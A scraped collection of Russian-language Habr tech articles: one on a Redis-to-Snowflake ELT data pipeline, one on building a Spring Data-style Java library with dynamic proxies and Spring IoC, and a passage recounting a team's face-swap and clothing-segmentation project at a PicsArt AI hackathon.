Вся последующая загрузка данных поделена на этапы:
1. Загрузка из JSON в SAE-слой;
2. Обогащение и загрузка из SAE в SAA;
3. Загрузка из SAA в заранее созданную структурированную таблицу в SAL-схеме;
4. Загрузка данных из SAL в DDS схему.
Из плюсов такого подхода можно выделить:
* Скорость адаптации. На внедрение нового сотрудника в пайплайн и процессы уходит 1 день.
* Скорость реализации. Python позволяет делать практически что угодно с очень низким порогом входа.
* Простота. При неисправности легко починить или запустить код руками.
* Стоимость. Вся инфраструктура создана на уже существующих мощностях, из нового – только Snowflake.
Конечно, были и минусы:
* Определенные сложности с масштабированием. Если лоадер был настроен на считывание 1кк записей из Redis раз в 10 минут, а в очередь прилетело, например, 5кк событий, они считывались 50 минут. Бывали случаи, когда очередь не пустела в течении суток.
Такие ситуации происходили крайне редко. Зная среднюю нагрузку наших сервисов, мы заранее выставляли более высокое ограничение на объем вычитываемых событий. А в случае внезапных увеличений объемов данных, производили загрузку «руками» с использованием более быстрого кластера и увеличенного количества вычитываемых объектов.
* При любом вынужденном простое, тесте ELT-процессов или исправлении ошибок, мы останавливали загрузку из одной или нескольких очередей. Redis начинал наполняться бесконтрольно, и у нас могло закончиться место (30 Гбайт), что приводило к потере новых данных.
*Остановка загрузки одной из очередей в Redis могла привести к расходованию всей памяти и невозможности принимать данные*
* Скрипт загрузки данных (Loader) содержал полный цикл от Redis до DDS, и в случае поломки его приходилось запускать заново. Если ошибка произошла где-то посередине, например, потерялся только что записанный JSON-файл, восстановить его было проблематично. Помочь могла только infra-команда и выгрузка исторических данных за определенные даты к нам в шину. В других случаях инженерам приходилось комментировать код и запускать определенную часть скрипта вручную, контролируя загрузку данных.
**Второй подход
-------------**
Весь код наших интеграций был написан быстро и без оглядки на стандарты/практики. Мы запустили MVP, который показывал результат, но работать с ним не всегда было удобно. Именно поэтому мы решились на допиливание и переписывание нашего инструментария.
Главной задачей было, как и всегда, взять все самое лучшее из предыдущей реализации, сделать быстрее и надежнее и ничего не сломать по пути.
Мы произвели декомпозицию всего кода на несколько важных независимых частей.
* Чтение данных из Redis. Загрузка данных из Redis должна быть максимально глупой: код выполняет только одну функцию, не затрагивая остальные компоненты системы.
* Трансформация данных внутри Snowflake. Подразумевает загрузку данных из слоя SAA в SAL со сбором статистики, ведением истории загрузок и информированием в Slack о появлении новых моделей и / или полей в моделях.
* Сборка DDS. Множество параллельно работающих процессов, загружающих данные.
**Чтение данных из Redis
----------------------**
**RedisReader** — скрипт для непрерывного вычитывания шины Redis. Conf-файл для [supervisord](http://supervisord.org/) создан под каждую очередь и постоянно держит запущенным необходимый ридер.
Пример conf-файла для одной из очередей `email_event`:
```
[program:model_event_reader]
command=/usr/bin/env python3 $DIRECTORY/RedisReader.py --queue='manychat:::model_event' --chunk_size=500000
autostart=true
autorestart=true
stopsignal=TERM
stopwaitsecs=1800
process_name=%(program_name)s_%(process_num)d
numprocs=4
```
Скрипт непрерывно мониторит определенную шину Redis, заданную через аргумент `--queue` на появление новых данных. Если данные в шине отсутствуют, он ждет `RedisReader.IDLE_TIME` секунд и повторно пробует прочитать данные. Если данные появились, скрипт считывает их через `lpop()` и складывает в файл вида `/tmp/{queue_name}_pipe_{launch_id}_{chunk_launch_id}.json`, где `launch_id` и `chunk_launch_id` – сгенерированные уникальные int'ы. Когда количество строк в файле достигает уровня `--chunk_size` или заданное время `--chunk_timeout` истекло, RedisReader завершает запись файла и начинает его загрузку в Snowflake.
Полученные данные сперва параллельно загружаются в таблицы
`SAE.{queue_name}_pipe_{launch_id}_{chunk_launch_id}`, а затем в одном процессе вставляются простым insert'ом в таблицу `SAA.{queue_name}_pipe` не блокируя работу с уже существующими данными.
Все действия в RedisReader являются multiprocessing-safe и призваны сделать загрузку наиболее безопасной при одновременном использовании множества процессов для вычитки одной очереди Redis.
Устанавливая параметр `numprocs`, мы можем запускать столько RedisReader'ов, сколько требуется для своевременного вычитывания очереди.
После внедрения RedisReader исчезла проблема с неконтролируемым расходованием памяти Redis. При появлении в очереди, данные практически моментально считываются и складываются в Snowflake-слое SAA по следующим колонкам:
* model – название загружаемой модели данных
* event\_dt – дата заливки данных
* raw – сами данные в JSON формате (variant)
* launch\_id – внутренний сгенерированный номер загрузки
**Трансформация данных внутри Snowflake
-------------------------------------**
**SAA**-слой является DataLake в нашей архитектуре. Дальнейшая загрузка данных из него в **SAL** сопровождается логированием, получением статистики по всем полям и созданием новой SAL-таблицы при необходимости.
1. На первом этапе необходимо получить список еще не обработанных `launch_id`. Для этого была создана специальная таблица `engine.saa_to_sal_transfer`, в которой хранится launch\_id, статус его обработки is\_done и прочая служебная информация. Задача скрипта – взять то количество необработанных строчек по каждой модели, которое указано в параметрах загрузчика либо немного меньше.
2. После этого по каждой модели собирается статистика. Мы храним данные о min / max значениях в колонке, типе данных, количестве ненулевых записей и множестве других вспомогательных характеристик. Сбор статистики является необязательным, для некоторых лоадеров, меняющихся крайне редко, сбор статистики отключен. При появлении новых полей (колонок) в статистике, инженеры увидят сообщение в Slack и приступят к созданию сущностей DDS для последующей загрузки.
*Часть таблицы статистики*
3. Далее происходит загрузка данных из слоя SAA в SAL. В SAL попадают только размеченные инженерами данные с описанием поля, правильным типом и названием, которые берутся из таблицы `engine.sal_mapping`
4. Завершающий шаг трансформации – UPDATE в `engine.saa_to_sal_transfer` для проставления статуса is\_done, если загрузка в SAL прошла успешно.
**Сборка DDS
----------**
Сборка таблиц для слоя DDS происходит на основе данных из SAL-схемы. Она изменилась меньше всего с момента первой реализации. Мы добавили полезные фичи: выбор типа отслеживания изменений данных (Slowly Changing Dimension) в виде SCD1 / SCD0, а также более быстрые неблокирующие вставки в таблицы.
Данные в каждую таблицу в DDS-слое загружаются отдельным процессом. Это позволяет параллельно работать со множеством таблиц и не тратить время на последовательную обработку данных.
Загрузка в DDS разделена на 2 этапа:
1. Сначала грузятся сущности для формирования суррогатного ключа;
2. Затем загружаются атрибуты и отношения.
**### Загрузка сущностей**
Загрузка сущностей подразумевает загрузку только уникальных значений в таблицы типа `DDS.E_{EntityName}`, где EntityName – название загружаемой сущности.
```
self.entity_loader(entity_name: str, source_schema: str, id_source_table_list: list),
```
Метод загрузки принимает в качестве атрибутов название сущности, схему исходных данных, а также массив из названия колонки в SAL-таблице и самого названия исходной SAL-таблицы. Внутри происходит либо обычный `MERGE INTO`, либо `INSERT FIRST`.
Поскольку сущности никак не связаны между собой, можно вполне законно загружать их параллельно друг другу, используя встроенный multiprocessing.
**### Загрузка Отношений и Атрибутов**
Загрузка отношений и атрибутов реализована похожим образом, единственное отличие – при вставке данных в DDS-схему происходит больше join'ов и проверок данных на актуальность.
Атрибуты:
```
self.attribute_loader(entity: str, attribute: str, source_table: str, id_column: str, value_column: str, historicity: str)
```
Отношения:
```
self.relation_loader(left_entity: str, right_entity: str, source_table: str, left_id: str, right_id: str, historicity: str)
```
Отношения и атрибуты не связаны между собой и зависят только от уже загруженных сущностей, поэтому мы без сомнений можем загружать их параллельно друг другу.
**Псевдокод одного из лоадеров**
```
from Loaders.SnowflakeLoaders import SnowflakeLoader
class ModelEventLoader(SnowflakeLoader):
DEFAULT_SOURCE_TABLE = 'saa.model_pipe'
DEFAULT_BATCH_STAT_SAMPLE_PERCENT = 50
DEFAULT_BATCH_SIZE = 1000000
DEFAULT_BUS_FULFILMENT_THRESHOLD = 100000
DEFAULT_HOURS_PASSED_THRESHOLD = 1.0
def sal_to_dds(self):
loaders = [
self.entity_loader('Account', 'sal', ['page_id', 'rb_model_event']),
self.entity_loader('Subscriber', 'sal', ['subscriber_id', 'rb_model_event']),
self.entity_loader('Device', 'sal', ['device_id', 'rb_model_event']),
]
self.run_loaders(loaders)
loaders = [
self.attribute_loader('Account', 'IsActive', 'sal.rb_model_event', 'page_id', 'is_active', historicity='scd1'),
self.attribute_loader('Subscriber', 'Name', 'sal.rb_model_event', 'subscriber_id', 'name', historicity='scd1'),
self.attribute_loader('Device', 'Platform', 'sal.rb_model_event', 'device_id', 'platform', historicity='scd0'),
self.relation_loader('Subscriber', 'Account', 'sal.rb_model_event', 'subscriber_id', 'account_id', historicity='scd1'),
self.relation_loader('Subscriber', 'Device', 'sal.rb_model_event', 'subscriber_id', 'device_id', historicity='scd0'),
]
self.run_loaders(loaders)
def run(self):
self.truncate_sal('rb_model_event')
self.saa_to_sal()
self.run_sal_to_dds()
if __name__ == '__main__':
ModelEventLoader().do_ELT()
```
Лоадер каждый раз проверяет условия запуска. Если они заданы, и необработанных данных в SAA-слое накопилось больше чем `DEFAULT_BUS_FULFILMENT_THRESHOLD` или после последнего запуска прошло больше чем `DEFAULT_HOURS_PASSED_THRESHOLD` часа, то будет взято не более `DEFAULT_BATCH_SIZE` строк из SAA-таблицы `DEFAULT_SOURCE_TABLE`, а также собрано статистики по `DEFAULT_BATCH_STAT_SAMPLE_PERCENT` процентам данных.
Сейчас метаданные по каждому лоадеру хранятся в Google Sheet, и у любого инженера есть возможность исправить значение и сгенерировать код лоадера путем простого запуска скрипта в консоли.
**RedisReader** в свою очередь работает независимо от всей остальной системы, ежесекундно опрашивая очереди в Redis. Загрузка данных SAA ⇒ SAL и далее в DDS тоже может работать абсолютно независимо, но запускается в одном скрипте.
Так мы смогли избавиться от прежних проблем:
* Затирание JSON файла с данными.
* Переполнение памяти Redis при остановке лоадеров (теперь можно останавливать на сколько угодно, данные уже будут в Snowflake в SAA-слое).
* Ручное комментирование кода и запуск скриптов загрузки.
Сейчас на постоянной основе мы загружаем данные из 26 очередей в **Redis**. Как только данные появляются в них, они сразу попадают в **SAA**-слой и ждут своей очереди на обработку и доведения до **DDS**. В среднем мы получаем 1400 событий в секунду в диапазоне от 100 до 5000 в зависимости от времени суток и сезонности.
*Количество полученных данных. Каждый цвет отвечает за отдельный поток данных.*
**Заключение
----------**
Сейчас мы занимаемся тюнингом и поиском бутылочных горлышек при загрузке данных в Snowflake. Наш новый пайплайн позволил сократить количество ручной работы инженеров до минимума и наладить процессы разработки и взаимодействия со всей компанией.
При этом было реализовано множество сторонних процессов, например Data Quality, Data Governance и материализация представлений.
Фактически добавление нового лоадера теперь сводится к заполнению полей в Google Sheet и построению модели будущих таблиц в схеме DDS.
Про нюансы работы наших ELT-процессов или аспекты работы со Snowflake спрашивайте меня в комментариях – обязательно отвечу.
**### Полезные ссылки**
* [HP Vertica, проектирование хранилища данных, больших данных](https://habr.com/ru/post/227111/)
* [anchormodeling.com](http://www.anchormodeling.com/)
* [Snowflake Docs](https://docs.snowflake.com/en/index.html) | https://habr.com/ru/post/530054/ | null | ru | null |
# Создание библиотеки в стиле Spring Data Repository своими руками при помощи Dynamic Proxy и Spring IoC
А что если бы можно было создать интерфейс, например, такой:
```
@Service
public interface GoogleSearchApi {
/**
* @return http status code for Google main page
*/
@Uri("https://www.google.com")
int mainPageStatus();
}
```
А затем просто внедрять его и вызывать его методы:
```
@SpringBootApplication
public class App implements CommandLineRunner {
private static final Logger LOG = LoggerFactory.getLogger(App.class);
private final GoogleSearchApi api;
public App(GoogleSearchApi api) {
this.api = api;
}
@Override
public void run(String... args) {
LOG.info("Main page status: " + api.mainPageStatus());
}
public static void main(String[] args) {
SpringApplication.run(App.class, args);
}
}
```
Такое вполне возможно реализовать (и не очень то и сложно). Дальше я покажу, как и зачем это делать.
Недавно у меня была задача упростить для разработчиков взаимодействие с одним из используемых фреймворков. Нужно было дать им ещё более простой и удобный способ работать с ним, чем тот, который уже был реализован.
Свойства, которых хотелось добиться от такого решения:
* декларативное описание желаемого действия
* минимальное необходимое количество кода
* интеграция с используемым фреймворком внедрения зависимостей (в нашем случае Spring)
Подобное реализовано в библиотеках [Spring Data Repository](https://docs.spring.io/spring-data/data-commons/docs/1.6.1.RELEASE/reference/html/repositories.html) и [Retrofit](https://square.github.io/retrofit/). В них пользователь описывает желаемое взаимодействие в виде java интерфейса, дополненного аннотациями. Пользователю не нужно самому писать реализацию — её генерирует библиотека в рантайме на основе сигнатур методов, аннотаций и типов.
Когда я изучал тему, у меня возникало много вопросов, ответы на которые были разбросаны по всему интернету. Мне бы в тот момент не помешала статья, подобная этой. Потому здесь я постарался собрать всю информацию и мой опыт в одном месте.
В данном посте я покажу, как можно реализовать данную идею, на примере обёртки для http-клиента. Пример игрушечный, предназначенный не для реального использования, а для демонстрации подхода. Исходники проекта можно изучить на [bitbucket](https://bitbucket.org/bachkovsky/dynamic-proxy-http-client).
### Как это выглядит для пользователя
Пользователь описывает необходимый ему сервис в виде интерфейса. Например, для выполнения http запросов в google:
```
/**
* Some Google requests
*/
@Service
public interface GoogleSearchApi {
/**
* @return http status code for Google main page
*/
@Uri("https://www.google.com")
int mainPageStatus();
/**
* @return request object for Google main page
*/
@Uri("https://www.google.com")
HttpGet mainPageRequest();
/**
* @param query search query
* @return result of search request execution
*/
@Uri("https://www.google.com/search?q={query}")
CloseableHttpResponse searchSomething(String query);
/**
* @param query doodle search query
* @param language doodle search language
* @return http status code for doodle search result
*/
@Uri("https://www.google.com/doodles/?q={query}&hl={language}")
int searchDoodleStatus(String query, String language);
}
```
Что в конечном итоге будет делать реализация данного интерфейса, определяется по сигнатуре. Если возвращаемый тип int — будет выполняться http запрос и возвращаться статус код результата. Если возвращаемый тип CloseableHttpResponse, то возвращаться будет ответ на запрос целиком, и так далее. Куда будет делаться запрос — будем брать из аннотации Uri, подставляя в её содержимое вместо плейсхолдеров одноимённые переданные значения.
В данном примере я ограничился поддержкой трёх возвращаемых типов и одной аннотации. Также можно использовать для выбора реализации имена методов, типы параметров, использовать всевозможные их комбинации, но эту тему я вскрывать в данном посте не буду.
Когда пользователь хочет использовать данный интерфейс, он внедряет его в свой код используя Spring:
```
@SpringBootApplication
public class App implements CommandLineRunner {
private static final Logger LOG = LoggerFactory.getLogger(App.class);
private final GoogleSearchApi api;
public App(GoogleSearchApi api) {
this.api = api;
}
@Override
@SneakyThrows
public void run(String... args) {
LOG.info("Main page status: " + api.mainPageStatus());
LOG.info("Main page request: " + api.mainPageRequest());
LOG.info("Doodle search status: " + api.searchDoodleStatus("tesla", "en"));
try (CloseableHttpResponse response = api.searchSomething("qweqwe")) {
LOG.info("Search result " + response);
}
}
public static void main(String[] args) {
SpringApplication.run(App.class, args);
}
}
```
Интеграция со Spring нужна была в моём рабочем проекте, но она, разумеется, не единственно возможная. Если вы не используете внедрение зависимостей, получение реализации можно сделать, например, через static factory method. Но я в данной статье буду рассматривать именно Spring.
Данный подход очень удобен: достаточно пометить свой интерфейс как компонент Spring (аннотация Service в данном случае), и он готов к внедрению и использованию.
### Как заставить Spring поддерживать эту магию
Типичное Spring приложение сканирует classpath на старте и ищет все компоненты, помеченные специальными аннотациями. Для них оно регистрирует BeanDefinition'ы — рецепты, по которым будут создаваться данные компоненты. Но если в случае конкретных классов Spring знает, как их создать, какие вызвать конструкторы и что в них передать, то для абстрактных классов и интерфейсов у него такой информации нет. Поэтому для нашего GoogleSearchApi Spring не будет создавать BeanDefinition. В этом ему потребуется помощь от нас.
Для того, чтобы допилить логику обработку BeanDefinition'ов, в спринге существует интерфейс BeanDefinitionRegistryPostProcessor. С помощью него мы можем добавить в BeanDefinitionRegistry какие нам угодно определения бинов.
К сожалению, я не нашёл способа встроиться в логику Spring сканирования classpath, чтобы обработать и обычные бины и наши интерфейсы за один проход. Поэтому я создал и использовал наследника класса ClassPathScanningCandidateComponentProvider для того, чтобы найти все интерфейсы, помеченные аннотацией Service:
Полный код сканирования пакетов и регистрации BeanDefinition'ов:
**DynamicProxyBeanDefinitionRegistryPostProcessor**
```
@Component
public class DynamicProxyBeanDefinitionRegistryPostProcessor implements BeanDefinitionRegistryPostProcessor {
//корневые пакеты, которые мы будем сканировать
private static final String[] SCAN_PACKAGES = {"com"};
private final InterfaceScanner classpathScanner;
public DynamicProxyBeanDefinitionRegistryPostProcessor() {
classpathScanner = new InterfaceScanner();
//настраиваем фильтры для сканера. В данном примере достаточно аннотации Service
classpathScanner.addIncludeFilter(new AnnotationTypeFilter(Service.class));
}
@Override
public void postProcessBeanDefinitionRegistry(BeanDefinitionRegistry registry) throws BeansException {
for (String basePackage : SCAN_PACKAGES) {
createRepositoryProxies(basePackage, registry);
}
}
@SneakyThrows
private void createRepositoryProxies(String basePackage, BeanDefinitionRegistry registry) {
for (BeanDefinition beanDefinition : classpathScanner.findCandidateComponents(basePackage)) {
Class clazz = Class.forName(beanDefinition.getBeanClassName());
//для каждого найденного класса создаём кастомный bean definition
BeanDefinitionBuilder builder = BeanDefinitionBuilder.genericBeanDefinition(clazz);
builder.addConstructorArgValue(clazz);
//указываем, какой метод будет использоваться для создания инстансов наших интерфейсов
builder.setFactoryMethodOnBean(
"createDynamicProxyBean",
DynamicProxyBeanFactory.DYNAMIC_PROXY_BEAN_FACTORY
);
registry.registerBeanDefinition(ClassUtils.getShortNameAsProperty(clazz), builder.getBeanDefinition());
}
}
@Override
public void postProcessBeanFactory(ConfigurableListableBeanFactory beanFactory) throws BeansException {
}
private static class InterfaceScanner extends ClassPathScanningCandidateComponentProvider {
InterfaceScanner() {
super(false);
}
@Override
protected boolean isCandidateComponent(AnnotatedBeanDefinition beanDefinition) {
return beanDefinition.getMetadata().isInterface();
}
}
}
```
Готово! На старте приложения Spring выполнит данный код и зарегистрирует все необходимые интерфейсы, как бины.
Создание реализации найденных бинов делегируется отдельному компоненту DynamicProxyBeanFactory:
```
@Component(DYNAMIC_PROXY_BEAN_FACTORY)
public class DynamicProxyBeanFactory {
public static final String DYNAMIC_PROXY_BEAN_FACTORY = "repositoryProxyBeanFactory";
private final DynamicProxyInvocationHandlerDispatcher proxy;
public DynamicProxyBeanFactory(DynamicProxyInvocationHandlerDispatcher proxy) {
this.proxy = proxy;
}
@SuppressWarnings("unused")
public T createDynamicProxyBean(Class beanClass) {
//noinspection unchecked
return (T) Proxy.newProxyInstance(beanClass.getClassLoader(), new Class[]{beanClass}, proxy);
}
}
```
Для создания реализации используется старый добрый механизм Dynamic Proxy. Реализация создаётся на лету при помощи метода Proxy.newProxyInstance. О нём уже много написано статей, поэтому останавливаться здесь подробно я не буду.
### Поиск нужного обработчика и обработка вызова
Как можно увидеть, DynamicProxyBeanFactory перенаправляет обработку метода в DynamicProxyInvocationHandlerDispatcher. Так как у нас существует потенциально много реализаций обработчиков (на каждую аннотацию, на каждый возвращаемый тип, и т.д.), то логично завести какое-то центральное место их хранения и поиска.
Для того, чтобы определять, подходит ли обработчик для обработки вызванного метода, я расширил стандартный интерфейс InvocationHandler новым методом
```
public interface HandlerMatcher {
/**
* @return {@code true} if handler is able to handle given method, {@code false} othervise
*/
boolean canHandle(Method method);
}
public interface ProxyInvocationHandler extends InvocationHandler, HandlerMatcher {
}
```
В результате получился интерфейс ProxyInvocationHandler, реализации которого и будут нашими обработчиками. Также реализации обработчиков будут помечены как Component, чтобы Spring мог соберать их для нас в один большой список внутри DynamicProxyInvocationHandlerDispatcher:
**DynamicProxyInvocationHandlerDispatcher**
```
package com.bachkovsky.dynproxy.lib.proxy;
import lombok.SneakyThrows;
import org.springframework.stereotype.Component;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.List;
/**
* Top level dynamic proxy invocation handler, which finds correct implementation based and uses it for method
* invocation
*/
@Component
public class DynamicProxyInvocationHandlerDispatcher implements InvocationHandler {
private final List proxyHandlers;
/\*\*
\* @param proxyHandlers all dynamic proxy handlers found in app context
\*/
public DynamicProxyInvocationHandlerDispatcher(List proxyHandlers) {
this.proxyHandlers = proxyHandlers;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) {
switch (method.getName()) {
// three Object class methods don't have default implementation after creation with Proxy::newProxyInstance
case "hashCode":
return System.identityHashCode(proxy);
case "toString":
return proxy.getClass() + "@" + System.identityHashCode(proxy);
case "equals":
return proxy == args[0];
default:
return doInvoke(proxy, method, args);
}
}
@SneakyThrows
private Object doInvoke(Object proxy, Method method, Object[] args) {
return findHandler(method).invoke(proxy, method, args);
}
private ProxyInvocationHandler findHandler(Method method) {
return proxyHandlers.stream()
.filter(h -> h.canHandle(method))
.findAny()
.orElseThrow(() -> new IllegalStateException("No handler was found for method: " +
method));
}
}
```
В методе findHandler мы проходимся по всем обработчикам и возвращем первый попавшийся, способный обработать переданный метод. Данный механизм поиска может быть не очень эффективен, когда реализаций обработчиков станет много. Возможно, тогда нужно будет задуматься о какой-то более подходящей структуре для их хранения, чем список.
### Реализация обработчиков
В задачи обработчиков входит считывание информации о вызванном методе интерфейса и обработка самого вызова.
Что должен сделать обработчик в данном случае:
1. Считать аннотацию Uri, достать её содержимое
2. Заменить в строке Uri плейсхолдеры на реальные значения
3. Считать возвращаемый тип метода
4. Если возвращаемый тип подходит, выполнить обработку метода и вернуть результат.
Первые три пункта нужны для всех возвращаемых типов, поэтому общий код я вынес в абстрактный суперкласс
HttpInvocationHandler:
```
public abstract class HttpInvocationHandler implements ProxyInvocationHandler {
final HttpClient client;
private final UriHandler uriHandler;
HttpInvocationHandler(HttpClient client, UriHandler uriHandler) {
this.client = client;
this.uriHandler = uriHandler;
}
@Override
public boolean canHandle(Method method) {
return uriHandler.canHandle(method);
}
final String getUri(Method method, Object[] args) {
return uriHandler.getUriString(method, args);
}
}
```
Во вспомогательном классе UriHandler реализована работа с аннотацией Uri: считывание значения, замена плейсхолдеров. Код его я тут приводить не буду, т.к. он довольно утилитный.
Но стоит отметить, что для считывания имён параметров из сигнатуры метода java, [нужно при компиляции добавить опцию "-parameters"](https://www.logicbig.com/how-to/java-command/java-compile-with-method-parameter-names.html).
HttpClient — обёртка над апачевским CloseableHttpClient, является бэкэндом для данной библиотеки.
В качестве примера конкретного обработчика приведу обработчик, возвращающий статус код ответа:
```
@Component
public class HttpCodeInvocationHandler extends HttpInvocationHandler {
public HttpCodeInvocationHandler(HttpClient client, UriHandler uriHandler) {
super(client, uriHandler);
}
@Override
@SneakyThrows
public Integer invoke(Object proxy, Method method, Object[] args) {
try (CloseableHttpResponse resp = client.execute(new HttpGet(getUri(method, args)))) {
return resp.getStatusLine().getStatusCode();
}
}
@Override
public boolean canHandle(Method method) {
return super.canHandle(method) && method.getReturnType().equals(int.class);
}
}
```
Остальные обработчики сделаны аналогично. Добавление новых обработчиков выполняется просто и не требует модификации существующего кода — просто создаём новый обработчик и помечаем его как компонент Spring.
Вот и всё. Код написан и готов к работе.
### Заключение
Чем больше я думаю о подобном дизайне, тем больше вижу в нём недостатков. Слабые стороны, которые я вижу:
* Type Safety, которой нет. Неправильно поставил аннотацию — до встречи с RuntimeException. Использовал неправильную комбинацию возвращаемого типа и аннотации — то же самое.
* Слабая поддержка от IDE. Отсутствие автодополнения. Пользователь не можжет посмотреть, какие действия доступны ему в его ситуации (как если бы он поставил "точку" после объекта и увидел список доступных методов)
* Мало возможностей для применения. Мне приходят на ум уже упомянутые http клиент, и клиент к базе данных. Но для чего ещё это можно применить?
Впрочем, у меня в рабочем проекте подход прижился и пользуется популярностью. Достоинства, которые я уже упоминал — простота, малое колчичество кода, декларативность, позволяют разработчикам концентрироваться на написании более важного кода.
А что вы думаете про такой подход? Стоит ли оно стараний? Какие вы видите в данном подходе проблемы? Пока я его всё ещё стараюсь осмыслить, пока он обкатывается в нашем продакшене, хотелось бы услышать что думают о нём другие люди. Надеюсь, данный материал был полезен кому-то. | https://habr.com/ru/post/458548/ | null | ru | null |
# Как мы не выиграли хакатон
С 30 ноября по 2 декабря в Москве прошел [PicsArt AI hackathon](https://picsart.ai/ru/hack) c призовым фондом — 100,000$. Основной задачей было сделать AI решение для обработки фото или видео, которое можно будет использовать в приложение PicsArt. Коллега по работе(на тот момент) [Артур Кузин](https://habr.com/users/N01Z3/) предложил поучаствовать, заинтересовав меня идеей — анонимизация личных фотографий пользователей с сохранением деталей(мимики и т.д). Также Артур позвал Илью Кибардина — студента МФТИ (кому-то же нужно было писать код). Название родилось очень быстро: DeepAnon.
Это будет рассказ про наше решение, его ~~деградацию~~ развитие, хакатон, и как ~~не~~ надо подстраиваться под жюри.
До хакатона
-----------
Было три пути попадания на хакатон. Первый — пройти в топ-50 лидерборда на задаче сегментации лиц — “Datascience гений”. Второй — сразу объединиться в группу до 4-х человек и показать работающий MVP — “бодрая команда”. В последнем варианте было необходимо просто прислать описание своей гениальной идеи. Мы решили не терять время и сразу, за неделю до хакатона, делать MVP. Ну и вообще мы решили, что классные, поэтому всей тимой попали в топ 10 на лидерборде и, соответственно, инземани.
Основная идея нашего продукта заключается в следующем: люди бездумно шарят фотографии с собой (иногда не совсем законные) в социальных сетях, о которых они потом могут пожалеть, или за которые их даже могут наказать в будущем. Чтобы обезопасить себя, можно зацензурить свое лицо “квадратиками”, а фон замазывать. Но тогда будет скрыто не только лицо, но и эмоции на нем, а фон будет испорчен. Чтобы сохранить эмоции на лице и объекты на фоне, наше приложение меняет все лица на фотографии, а фон делает мультяшным. А чтобы человека нельзя было узнать по одежде, она заменяется на другую.
За неделю нам удалось сделать почти все задуманное. Для каждого этапа использовалась отдельная нейронная сеть (а иногда даже несколько). Сначала на изображении находились все лица и заменялись на одно и то же лицо знаменитости — для этого использовалось решение, похожее на DeepFake. Далее, с помощью сегментации человека, отделяли фон и делали на нем перенос стиля на мультяшный (Рик и Морти). На последнем этапе происходила сегментация разных частей одежды и их изменение — случайное смещение цветов в HSV пространстве, так как перенос стиля не успели перед показом MVP жюри.
На каждом этапе возникали свои технические трудности. Например, все реализации DeepFake на гитхабе умели превращать только определенное лицо X в определенное лицо Y. В такой постановке задачи необходимо множество фотографий двух людей. Наиболее простой способ собрать такой набор данных — найти видео выступлений человека, где большую часть времени показывается только он, и, с помощью детекции лиц, нарезать фото. Основной упор в нашей идеи был как раз в том, что можно из любого лица сделать одно и тоже другое лицо Y. Мы попробовали вместо одного лица X использовать множество всевозможных лиц из датасета CelebA, и, к нашему счастью, это завелось. Ниже схема DeepFake, взятая с реализациии, которую мы [использовали](https://github.com/shaoanlu/faceswap-GAN).
Результат был завернут в веб-демо на flask и запущен для показа. Вот так выглядело описание нашего МВП для жюри.
> Представляем сервис, позволяющий анонимизировать медиа контент (фото и видео). В базовом варианте сервис скрывает лица. В расширенном — меняет лица пользователей на лица других людей (DeepFake), изменяет одежду и фон (сегментация + Style Transfer). В качестве альтернативного использования, сервис может служить для создания фановых и вирусных роликов или фото с замененными лицами знаменитостей.
До начала хакатона оставалось несколько дней, и мы успели улучшить изменение одежды. Если до этого это было изменение цветов в HSV, то теперь на каждый тип одежды применялся свой стиль (различных художников). Еще появилась идея, что лучше будет делать изменение лица не в одну знаменитость, а сначала классифицировать по полу, и после этого переносить лица мужчин и женщин по-разному (например, в Навального и Собчак). А в последний момент успели добавить различные уровни анонимизации в веб демо — появилась возможность выбрать, какие элементы анонимизации использовать.
На оффлайн часть мы шли с настроем, что это полезный, необычный юзкейс, а не просто вирусные маски на лица. Одно из сообщений в нашем командном чате:
> Да если подумать, это всем нужно. Просто все еще это не осознали.Куча людей шарят свой контент как они бухают, пьют, нарушают закон и думают, что государству на них пофиг.
>
> А через 5 лет придет ИИ, посмотрит старые посты, и постфактум срок впаяет.
На хакатоне
-----------
В пятницу началась оффлайн часть. Каждой команде был отведен отдельный стол, а в буфете были бесконечные ~~быстрые углеводы~~ печеньки. После официального открытия мы решили не терять время и сразу узнать у жюри, чего они хотят от участников. Пообщавшись с несколькими организаторами неформально, мы почувствовали, что анонимность их не зацепила. Но понравилась идея с сегментацией отдельных частей фотографии и их изменение. Также стало понятно, что от нас хотят чего-то, что можно внедрить в PicsArt. Тем не менее, к вечеру наша команда отправила описание проекта, в котором говорилось об анонимизации, но уже с акцентом на сегментацию и редактирование отдельных частей фото.
Описание проекта для жюри на вечер пятницы:
> Мы предлагаем сервис, позволяющий просто и автоматизированно обрабатывать фотографии для их анонимизации. С помощью сегментации одежды, аксессуаров, волос на голове, а также элементов фона, сервис позволяет обрабатывать каждый объект независимо, без необходимости ручного выделения. Также сервис позволяет менять лица с сохранением мимики и выражения.
По формату хакатона к защите будут допущены те команды, которые хорошо показали себя на технических комиссиях. На комиссиях было живое общение с жюри и технической командой PicsArt, а также демонстрации демо с описанием его работы.
На первой же комиссии в субботу мы не смогли продать жюри анонимизацию, но увидели, что им нравится идея редактирования отдельных предметов на фотографии. Также члены жюри очень воодушевленно приняли идею со сменной прически по нажатию на волосы (оказалось, что они сейчас пытаются сделать что-то похожее).
Наша команда не устояла под таким напором (к сожалению) и согласилась изменить видение продукта. Было решено сделать акцент на качественную смену одежды.
В демо на главном экране планировалось показывать несколько вариантов исходной фотографии (в идеале, одежда меняется по тапу на экран):
Верхняя одежда:
* оставить как есть
* джинса
* леопард
Штаны:
* оставить как есть
* джинса
* леопард
Обувь:
* оставить как есть
* веселая обувь
В базовом варианте с волосами было решено сделать трансформацию “лысый — не лысый”. Для этого из датасета знаменитостей CelebA были выбраны лысые и все остальные. На этих двух группах был поставлен учиться [CycleGAN](https://github.com/junyanz/pytorch-CycleGAN-and-pix2pix), который умеет трансформировать картинки домена A в домен Б, и наоборот (другим примером может быть превращение лошади в зебру).
Нам удалось познакомиться с одним из разработчиков PicsArt и немного узнать об их внутренней кухне. Он не очень верил в успех нашего эксперимента с волосами, но накидал ссылок, в какую сторону смотреть. К нашему разочарованию нейронка действительно не научилась добавлять-убавлять волосы. Зато она научилась менять тон кожи (угадайте, почему).
Видение продукта менялось после каждого общения с тех комиссией. В планы добавилось улучшение неба и смена стилей отдельных объектов (изначально только одежда): зданий, машин, а также аксессуаров на людях. Фокус уходил с анонимизации все больше. Для итоговой презентации решили придерживаться следующей структуры из 4-х слайдов:
1. Сегментация одежды. Фото: оригинальная фотография, сегментированная одежда, 4 варианта обработки одежды.
2. Сегментация сцены. Тусклое фото с пересвеченным небом. Небо делается артистичным, здания мультяшными.
